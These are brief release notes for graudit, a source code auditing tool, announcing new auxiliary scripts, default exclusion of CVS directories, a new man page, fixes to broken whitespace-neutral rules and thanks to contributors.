More aux/ scripts
Fixed ignore CVS directories by default

Package maintainers should note that graudit now has a man page. The install section of the Makefile does not currently place it anywhere, so please patch for the appropriate location. I will add more distro neutral updates to the makefile for next release.This release fixes some of the broken whitespace neutral rules I added last release. For the perl users, I'm sorry.

Big thanks to the people who contributed with patches, bug reports and feedback. Keep them coming!

You can download the latest version from the graudit download page.
Happy christmas!